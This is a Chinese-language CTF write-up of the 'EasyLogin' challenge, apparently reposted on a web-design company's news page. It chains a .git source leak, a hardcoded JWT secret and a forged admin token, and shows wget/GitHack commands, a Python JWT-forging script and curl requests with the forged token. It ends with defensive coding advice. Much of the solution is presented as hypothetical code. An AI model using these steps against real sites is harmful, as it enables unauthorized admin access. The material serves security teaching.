资讯动态

Web安全实战:从.git泄露到JWT伪造的完整攻击链剖析

发布时间:2026/8/7 4:24:14 来源:尧图企业网站定制
1. 项目概述一次典型的Web应用安全审计实战最近在复盘一些经典的CTFCapture The Flag题目特别是Web安全方向的发现“[HFCTF2020]EasyLogin”这道题非常有意思。它不像那些纯粹考脑洞的“神仙题”而是非常贴近真实世界中的Web应用场景考察的是对基础Web漏洞链的深刻理解和灵活运用能力。题目本身模拟了一个带有登录、注册、找回密码等功能的简易系统但其中埋藏了多个安全陷阱。对于想从理论走向实战的安全爱好者、刚入行的渗透测试工程师甚至是后端开发人员想自查代码隐患这道题都是一个绝佳的“靶场”。通过手动审计和利用它的过程你能把书本上的SQL注入、JWTJSON Web Token伪造、逻辑漏洞等知识点串成一条完整的攻击链真正理解攻击者是如何步步为营的。今天我就以这道题为蓝本带大家走一遍完整的黑盒/灰盒审计流程不仅复现解题步骤更重点拆解每一步背后的“为什么”并分享一些在真实渗透测试中同样适用的技巧和避坑指南。2. 环境搭建与初步信息收集2.1 题目环境复现思路“EasyLogin”这类题目通常主办方会提供一个Docker镜像或源码包。我们的首要任务就是搭建一个本地测试环境。假设我们拿到了一个app.pyFlask应用和相关的Dockerfile。首先使用docker-compose up -d启动服务。如果只有源码则需要手动安装依赖pip install -r requirements.txt并运行。关键是要确保环境与比赛时一致包括Python版本、数据库如SQLite/MySQL等。有时候题目中的漏洞可能与特定库版本相关。注意在本地复现时务必在隔离的虚拟机或容器中进行避免对宿主机造成意外影响。可以使用virtualenv或pipenv创建独立的Python环境。启动后访问http://localhost:port通常是80或5000端口我们能看到一个简洁的登录页面可能有“Login”、“Register”、“Forgot Password”三个主要功能入口。这是我们的起点。2.2 基础信息收集与侦查面对任何Web目标不要一上来就狂怼登录框。系统的信息收集能事半功倍。前端代码分析F12大法立刻查看网页源代码、JS文件、网络请求。关注几个点API端点登录、注册、找回密码等请求发送到哪个URL方法是POST还是GET例如可能发现登录请求是POST /api/login。参数名请求体中的参数名称如username,password,captcha等。提示信息前端JS中是否有任何关于错误处理、成功跳转的逻辑有时会泄露线索。注释开发者留下的注释有时是“宝藏”可能会提示某些功能的存在或隐藏路径。目录与文件扫描使用工具如dirsearch,gobuster或ffuf对目标进行目录爆破。常见扫描字典要包含诸如/admin,/backup,/src,/www.zip,/.git/等。对于CTF题目/www.zip或/.git/泄露源码的情况很常见这也是“EasyLogin”题目的典型突破口之一。如果扫描到/.git/可以使用GitHack等工具尝试恢复源码。技术栈识别通过HTTP响应头如Server,X-Powered-By、Cookie格式如session的命名、URL路由特征如.php,.jsp,/api/来初步判断后端语言和框架。本题通常是一个Python Flask应用Cookie中可能会设置一个session。假设我们通过目录扫描幸运地发现了/.git/目录并且成功利用工具下载了完整的网站源码。审计就从这里正式进入深水区。3. 源码审计与漏洞链分析拿到源码后不要急于通读所有文件。优先关注核心功能对应的路由处理文件如app.py,routes.py和与数据库交互的模型文件如models.py。3.1 漏洞点一.git泄露与源码还原为什么.git泄露是严重漏洞因为它包含了项目的完整版本历史。攻击者可以通过git log查看提交记录通过git diff查看代码变更甚至恢复出被删除的敏感文件如配置文件、备份的数据库、注释掉的调试代码。实操还原步骤使用wget -r --no-parent http://target/.git/递归下载整个.git文件夹。进入下载的目录执行git log --oneline查看提交历史。可能会发现一些有趣的提交信息如 “remove hardcoded secret”, “fix admin login bug”。使用git checkout commit-hash切换到历史版本查看当时的代码。重点寻找被删除的敏感信息比如JWT的加密密钥SECRET_KEY、数据库密码、甚至是硬编码的管理员凭证。在“EasyLogin”中极有可能在历史版本里找到一个写死在代码里的JWTsecret或者一个特殊的、用于测试的默认管理员账号密码。这是整个攻击链的第一把钥匙。3.2 漏洞点二JWTJSON Web Token安全缺陷Flask应用常使用flask_jwt_extended或pyjwt库来处理身份认证。Token通常放在Cookie或Authorization头中。审计源码时搜索jwt,encode,decode,SECRET_KEY,JWT_SECRET_KEY等关键词。常见的JWT漏洞有弱密钥Weak Secret正如从.git历史中可能发现的密钥太简单如secret,easylogin2020或者密钥被硬编码在源码中。有了密钥我们就可以任意伪造Token。算法混淆攻击Algorithm Confusion如果服务器在验证Token时依赖于Token头Header中指定的算法如alg: HS256而代码编写不当就可能被攻击。攻击者可以将算法改为none如果服务器支持或者将非对称算法如RS256改为对称算法HS256然后使用公开的公钥作为HMAC的密钥来伪造签名。这需要服务器公钥可被获取。密钥泄露除了硬编码密钥也可能通过其他途径泄露如配置文件config.py,.env被错误地部署到了Web目录。审计与利用示例假设在app.py中看到如下代码import jwt SECRET_KEY this_is_a_very_weak_secret_2020 app.route(/api/login, methods[POST]) def login(): username request.json.get(username) password request.json.get(password) # ... 验证用户 ... if valid: token jwt.encode({username: username, is_admin: False}, SECRET_KEY, algorithmHS256) return jsonify({token: token})这里直接使用了弱密钥。如果我们从历史版本或别处拿到了这个SECRET_KEY就可以伪造任意用户的Token特别是将is_admin改为True。伪造Token的Python脚本import jwt secret this_is_a_very_weak_secret_2020 forged_payload {username: admin, is_admin: True} forged_token jwt.encode(forged_payload, secret, algorithmHS256) print(forged_token)将生成的Token替换浏览器Cookie中的原Token即可获得管理员权限。3.3 漏洞点三SQL注入与逻辑漏洞登录、注册、找回密码、信息查询等凡是涉及数据库操作的地方都是SQL注入的潜在风险点。在Python中如果使用字符串拼接来构建SQL语句风险极高。审计示例在app.py中查找数据库查询代码# 危险写法拼接 username request.form[username] password request.form[password] sql fSELECT * FROM users WHERE username{username} AND password{password} result db.engine.execute(sql) # 安全写法参数化查询 sql SELECT * FROM users WHERE username:username AND password:password result db.session.execute(sql, {username: username, password: password})如果发现是第一种写法那么登录处的username或password字段就可能存在注入。在CTF中注入点可能不那么明显比如在注册时对用户名长度的检查存在逻辑问题导致可以插入超长用户名而后续的查询点如个人资料页在取出用户名时未做处理造成了二次注入。逻辑漏洞则更隐蔽例如密码重置逻辑缺陷找回密码功能中验证用户身份的“密码提示问题”过于简单或可被绕过。比如提交重置请求后系统向用户邮箱发送一个包含Token的链接但如果这个Token的生成规则可预测如基于时间戳用户ID的MD5攻击者就可以为其他用户构造重置链接。越权访问在查看用户资料的功能中URL可能是/api/user/profile?user_id123。如果后端只检查了用户是否登录而没有检查当前登录用户的ID是否与请求的user_id参数匹配就会导致越权可以查看任意用户的资料。如果这个资料里包含敏感信息如密码哈希、邮箱就可能成为下一步攻击的跳板。4. 攻击链构造与利用实战假设我们通过审计梳理出以下漏洞链信息收集发现/.git目录下载并恢复源码。源码审计在历史提交中找到被删除的JWT弱密钥weak_secret_2020_hfctf。漏洞确认审计app.py确认登录成功后会签发一个JWT Token其中包含username和is_admin字段使用找到的弱密钥进行HS256签名。漏洞利用伪造一个is_admin: true的Token。权限提升使用伪造的Token访问管理员接口/admin或/flag。4.1 逐步利用过程第一步获取源码与密钥# 1. 使用工具下载.git目录以GitHack为例 python GitHack.py http://target/.git/ # 2. 进入下载的目录查看历史 git log --oneline # 假设看到一条记录a1b2c3d remove secret from config git checkout a1b2c3d~1 # 切换到删除密钥前的那个版本 cat config.py # 在config.py中发现了SECRET_KEY weak_secret_2020_hfctf第二步分析JWT签发逻辑在app.py中找到登录路由app.route(/api/login, methods[POST]) def api_login(): data request.get_json() user User.query.filter_by(usernamedata[username]).first() if user and user.password data[password]: # 注意这里可能是明文密码对比说明数据库存的是明文这是另一个隐患 access_token create_access_token(identityuser.username, additional_claims{is_admin: user.is_admin}) return jsonify(access_tokenaccess_token) else: return jsonify(msgBad username or password), 401这里使用了flask_jwt_extended的create_access_token。我们需要找到它使用的密钥。在Flask配置部分或单独的配置文件中发现app.config[JWT_SECRET_KEY] weak_secret_2020_hfctf # 与历史版本中找到的一致第三步伪造管理员Token编写一个简单的Python脚本import jwt secret weak_secret_2020_hfctf # 根据flask_jwt_extended的默认结构payload通常包含 identity 和 fresh 等字段。 # 但题目可能简化了我们直接模仿源码中的 additional_claims。 payload { sub: admin, # JWT标准声明主题通常存放用户名 is_admin: True, # 可能还需要 iat (签发时间)、exp (过期时间)但若服务器不严格检查可以省略或设置一个未来的时间 iat: 1678886400, exp: 2000000000 } # 注意算法查看源码中用的是HS256 token jwt.encode(payload, secret, algorithmHS256) print(token) # 输出类似eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImlzX2FkbWluIjp0cnVlLCJpYXQiOjE2Nzg4ODY0MDAsImV4cCI6MjAwMDAwMDAwMH0.xxxxxx第四步使用伪造Token访问目标使用浏览器插件如EditThisCookie或命令行工具如curl替换Token。curl -H Authorization: Bearer your_forged_token http://target/admin或者如果Token是设置在Cookie里的常见于Flask格式可能是sessiontoken那么curl -b sessionyour_forged_token http://target/admin访问/admin或尝试/flag/getflag等常见端点获取最终的Flag。5. 深度防御与安全开发启示这道题虽然解完了但它的价值更在于提醒我们在真实的开发中如何避免这些“坑”。5.1 关于敏感信息管理永远不要将密钥硬编码在源码中。使用环境变量或专门的密钥管理服务如AWS KMS, HashiCorp Vault。.gitignore是必须的确保config.py,.env,*.pem,*.key等包含敏感信息的文件被加入.gitignore。在项目初始化时就做好这件事。CI/CD流水线安全检查在代码推送环节集成工具扫描是否有新的敏感信息被意外提交。5.2 关于JWT安全实践使用强密钥密钥长度要足够如HS256至少32字节随机字符且定期轮换。指定验证算法在验证Token时永远不要信任客户端传来的alg头。应该在代码中显式指定预期的算法。# 正确做法 try: payload jwt.decode(token, SECRET_KEY, algorithms[HS256]) # 明确指定算法列表 except jwt.InvalidTokenError: return Invalid token, 401校验声明Claims务必校验exp过期时间、iat签发时间、iss签发者等声明确保Token在有效期内且来自可信的签发方。考虑使用非对称加密RS256私钥签名公钥验证。这样即使公钥泄露攻击者也无法伪造签名。5.3 关于数据库操作与逻辑安全坚持使用参数化查询或ORM绝对不要拼接SQL字符串。使用SQLAlchemy等ORM或数据库驱动提供的参数化接口。实施最小权限原则Web应用连接数据库的用户只应拥有其必需的最小权限SELECT, INSERT, UPDATE on specific tables而不是ALL PRIVILEGES。关键业务逻辑进行单元测试和安全评审特别是用户身份验证、权限检查、支付、密码重置等核心流程需要多人交叉评审并编写测试用例覆盖正常和异常情况。输入验证与输出编码对所有用户输入进行严格的验证白名单原则并在输出到HTML时进行编码防止XSS。5.4 渗透测试中的思维延伸在实战中遇到一个登录系统可以按以下 checklist 进行快速测试默认凭证尝试admin/admin,admin/password,admin/123456等。弱锁定机制尝试对同一用户多次错误密码登录看是否会锁定。如果锁定锁定时间是否可被绕过如修改IP、User-Agent用户名枚举通过登录、注册、找回密码等功能的错误信息差异判断某个用户名是否存在。例如“用户名或密码错误”和“该用户不存在”是两种不同的信息。密码重置漏洞测试重置Token的强度、有效期、是否与用户绑定、是否可预测。会话管理Cookie的HttpOnly,Secure,SameSite属性是否设置Session ID是否足够随机注销后Session是否真正失效多阶段登录绕过如果存在二次验证如短信验证码尝试在完成第一步后直接跳转到登录后的页面。回过头看“EasyLogin”它巧妙地将.git泄露、弱密钥、JWT伪造这几个中低危漏洞串联起来形成了一个足以获取最高权限的高危攻击链。这告诉我们安全是一个整体任何一个环节的疏忽都可能成为突破口。作为开发者要有纵深防御的思想作为安全人员要有顺藤摸瓜、串联漏洞的耐心和想象力。这道题的价值远不止于拿到一个Flag。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价